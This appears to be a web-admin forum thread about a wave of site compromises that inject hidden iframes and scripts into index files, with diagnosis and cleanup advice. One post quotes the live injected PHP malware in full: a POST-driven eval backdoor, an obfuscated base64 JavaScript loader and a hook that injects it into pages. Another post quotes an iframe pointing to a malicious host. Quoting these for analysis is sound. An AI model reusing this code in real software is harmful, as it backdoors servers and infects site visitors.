Thread

It seems that somebody’s found a widespread exploit that allows them to get into sourcecode and write code that adds a hidden iframe to an infected site.

This is happening to just about every site I’ve done, irregardless of host, OS or CMS.

The “virus” will add code to every file with “index” or “default” in the name.

Since EE has “index.html” in just about every directory, these are all infected. They just say “directory access forbidden”. Is it possible to simply delete these files and do the same thing with .htaccess or something?

It’d make things a lot faster to repair, especially since I’ll probably have to do it a number of times until the server gets patched.

It seems that somebody’s found a widespread exploit that allows them to get into sourcecode and write code that adds a hidden iframe to an infected site.

Consider me a bit of a skeptic here. Not sure what you mean by “getting into sourcecode”; did this happen to you?

This is happening to just about every site I’ve done, irregardless of host, OS or CMS.

Are you sure there isn’t a common factor? Some installed software package other than EE? If it was a widespread as you said, we would probably have heard about it.

The “virus” will add code to every file with “index” or “default” in the name.

Do you’ve got a link to such a site? I’ve surely seen attacks like that one, but it was usually a simply directory traversal attack (meaning the attackers had compromised another account on the—insufficiently secured—shared server).

Since EE has “index.html” in just about every directory, these are all infected.

Does that mean this did happen to you on an EE site?

They just say “directory access forbidden”. Is it possible to simply delete these files and do the same thing with .htaccess or something?

You can certainly use

Options -Indexes

to disable directory browsing and delete these files, although there’s little point in doing so in my opinion. It really would do nothing to address the current situation. index.html is a simple and effective method to hide the contents of your directory.

Well let’s see now…

So far today, I’ve fixed sites hosted on Siteground, Godaddy, Rackspace and a couple other small isps.

I’ve been dealing with the same type of thing for a little while now on a site hosted by a small isp using IIS, but the rest are Apache.

Both cPanel and Plesk may be involved.

Sites have been straight html, straight php (no CMS), EE, WordPress and Textpattern.

On straight html and php “non-function” files, the index.html/php have an iframe written to them immediately after the body opening tag. It’s usually has “liteautotop.cn” as its src attribute.

On files that consist of functions only the closing php tag is removed and the last function is “closed” with the iframe html. Which of course throws a fatal error.

I’ve “cleaned” all the sites I’ve found so far, but here’s a site that we haven’t started the EE part yet: http://www.gorillawebstudio.com/index.php (hosted on Siteground)

Here’s the “infection” with the php tags removed:

if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihiZVh1Yyl7dmFyIE5tYj0nJSc7dmFyIHJrUz0oJ3ZhIjcyIjIwYSIzZCIyMlNjcmlwdEVuZ2luZSIyMiIyY2IiM2QiMjJWIjY1IjcycyI2OW9uKCkrIjIyIjJjaiIzZCIyMiIyMiIyY3UiM2RuIjYxIjc2IjY5Z2EiNzRvciIyZXVzZXJBZ2UiNmV0IjNiaWYiMjgodSIyZSI2OW4iNjRleE8iNjYoIjIyV2luIjIyKSIzZTApIjI2IjI2KHUiMmVpbmRleCI0ZiI2NigiMjJOIjU0IjIwNiIyMiIyOSIzYyIzMCkiMjYiMjYoIjY0b2N1bSI2NW50IjJlYyI2ZiI2ZmtpZSIyZWluIjY0ZXhPZigiMjJtaWVrIjNkMSIyMiIyOSIzYzAiMjkiMjYiMjYoIjc0eXBlbyI2Nih6cnZ6dHMpIjIxIjNkIjc0eXBlb2YiMjgiMjIiNDEiMjIpKSIyOSI3YnoiNzIiNzZ6dCI3MyIzZCIyMkEiMjIiM2IiNjV2YWwoIjIyIjY5Zih3aW5kb3ciMmUiMjIrYSIyYiIyMilqIjNkIjZhKyIyMithIjJiIjIyTWEiNmFvciIyMitiIjJiIjYxIjJiIjIyTSI2OW4iNmZyIjIyIjJiYithIjJiIjIyIjQydSI2OWxkIjIyK2IrIjIyaiIzYiIyMikiM2Jkb2N1bWUiNmV0IjJldyI3MmkiNzRlIjI4IjIyIjNjIjczIjYzIjcyaXB0IjIwc3JjIjNkIjJmIjJmIjY3dW1ibGFyIjJlIjYzbiIyZnJzcyIyZiIzZmkiNjQiM2QiMjIraisiMjIiM2UiM2MiNWMiMmZzY3JpcHQiM2UiMjIpIjNiIjdkJykucmVwbGFjZShiZVh1YyxObWIpO2V2YWwodW5lc2NhcGUocmtTKSl9KSgvIi9nKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#[removed]#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos;($v,'[removed]')))$s=str_replace($v,'',$s);}$s1=preg_replace('#[removed]<!-- \ndocument\.write\(unescape\(.+?\n -->[removed]#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2();

http://www.gorillawebstudio.com/index.html (the placeholder) had

<iframe src="http://liteautotop.cn/ts/in.cgi?mozila" width=2 height=4 style="visibility: hidden"></iframe>

after the body tag.

You might also look at the source of http://www.gorillawebstudio.com/themes/ (turn on your virus protection!) to see what’s happening to the index.html files. (Same as the placeholder file.)

Have you contacted your host? Have they been able to determine the vector of attack? I don’t have reason to believe that it’s an EE issue as such: just to be on the safe side, make sure to be on the very latest version and build.

Actually, a quick search seems to indicate that this might be a local issue (which would also explain why you are seeing this on a variety of sites), ie a keylogger or virus of sorts, installed on your computer that collects FTP usernames and passwords whenever you update a site. So my advice would be change your passwords, and make sure there is no malware on your computer.

This article seems to have some background info, too.

ETA: I was just pointed to this entry: http://seclists.org/bugtraq/2009/Feb/0165.html which could be another cause.

Yeah, a local infection did just occur to me. I doubt it though, as I didn’t have access to a couple sites that I’ve fixed today, and a couple sites I do have access to were clean.

In any case, I’ll do a complete scan of my system to eliminate (or fix) that possibility.

I know it’s not an EE problem. But as all the sites are on shared hosting, it might be somebody else’s 😊

It wouldn’t have to be you, necessarily 😊 That said, do let us know what, if anything, you find out.

Well, I’ve concluded that… I can’t tell.

I was asked to “disinfect” an infected site on 5/1, but I didn’t have the proper ftp login. Perhaps at that point I caught something when viewing the site (should’ve used my ‘nix install). Many of the infected sites’ “index” pages were datestamped 5/2. If you can trust that.

I scanned my system (5/4 pm) and found lots of malicious stuff. However, the datestamps (on the files I checked) were 5/4 (again, if you can trust that). And I had been dealing with the stuff all day. Also, not all the sites that I have ftp access to were infected in the first place. And the infections were completely different from a site I have been cleaning every week or so for the last month.

A few of the sites had iframes again this morning (5/5), but they could have been immediately reinfected by my system after I had cleaned them the yesterday. I’ll see if it comes back again. (All were just on the main index.html/php, so they were easy to fix.)

I ran into something similar on a cpanel site maybe 6 months back (though I don’t believe it’s the same exploit- it sounds similar and a number of hosts were hit).  It’s likely automated and just hitting the index files automatically.  Which… is somewhat good, because with that level of access they can do pretty much as they please- including get your database info.)

At the time I did remove the index.html files just so I didn’t have to keep mucking with them.  And it’s possible to rename the main index.php if needed- I can’t recall if they were hitting that or not.  The host did get things cleared up in a few days- at which point I changed all passwords, including ftp (which is how I think they were gaining access- though details were never divulged.)  (Also- note this was not EngineHosting 😉.  Just a small hobby site I don’t much worry about.)

But it sounds like you’re going to need to ride the host(s) on getting it resolved, mitigate what damage you can while that happens, and then change all critical information once the hosting environment is once again secure.

I have doubts on whether the source of the problem is your local system- but in any case, the host really should be helping nail this down.  (It will be a good way to identify your best hosts- they won’t have the problem or they’ll hop on fixing it!)

Let us know if new information becomes available.

Sounds like the mpack exploit which attacks via cpanel, http://isc.sans.org/diary.html?storyid=3015

If all your compromised sites use cpanel then this might be the cause.

NB in at least one report I have read it seems the distributor of the attack rescans infected sites and reinfects any which have been cleaned. Seems like it uses account/password guessing or sniffing to carry out the attack. Note the only way to clear up the above attack is to change the site administrator credentials and then remove the iframes.

Again if it is this attack then the compromised machine is almost certainly yours so take the obvious precautions.

I’ve got it again on http://www.claremontcycle.com, but I can’t find out where.

I’ve replaced index.php and checked a few other places. Everything seems clean.

I’ve cleared both my browser cache (and checked a different browser) and the EE cache. (Can I delete the files/directories in the cache folder?)

I even turned gzip off and back on. And looked in the template itself.

But there’s still a script in there, right before the body start tag.

Any ideas where it’s coming from?

UPDATE: All the JavaScript on the site was also infected. I replaced it all, but the script’s still there. As a temporary fix, I’m using my own js to delete all iframes and scripts with a “language” attribute. Hope they don’t modernize.

Can I delete the files/directories in the cache folder?

Yes. Everything in there will be regenerated as needed.

But there’s still a script in there, right before the body start tag.
Any ideas where it’s coming from?

Have you checked EE’s index.php, path.php, config.php? It might be advisable to change your FTP password and re-upload a fresh set of known good files.

OK, here’s something you might be interested in: there’s been some EE-specific things done to my two hacked EE sites.

A file named “image.php” has been added several places.

Some core EE files have been changed: system/db/db.mysql, system/language/english/lang.cp_jquery.php, system/utilities/dbtest.php and possibly more. (I got tired of looking and just re-uploaded a bunch of stuff.)

Cleaning these files made the script go away. For now.

Edit: system/core/core.functions.php on one site.

Looks like they were targetting .php files. Either way, the important thing is how did they get in? If you have made sure that your computer is clean, you should probably talk to your host about preventing such attacks on the server as well.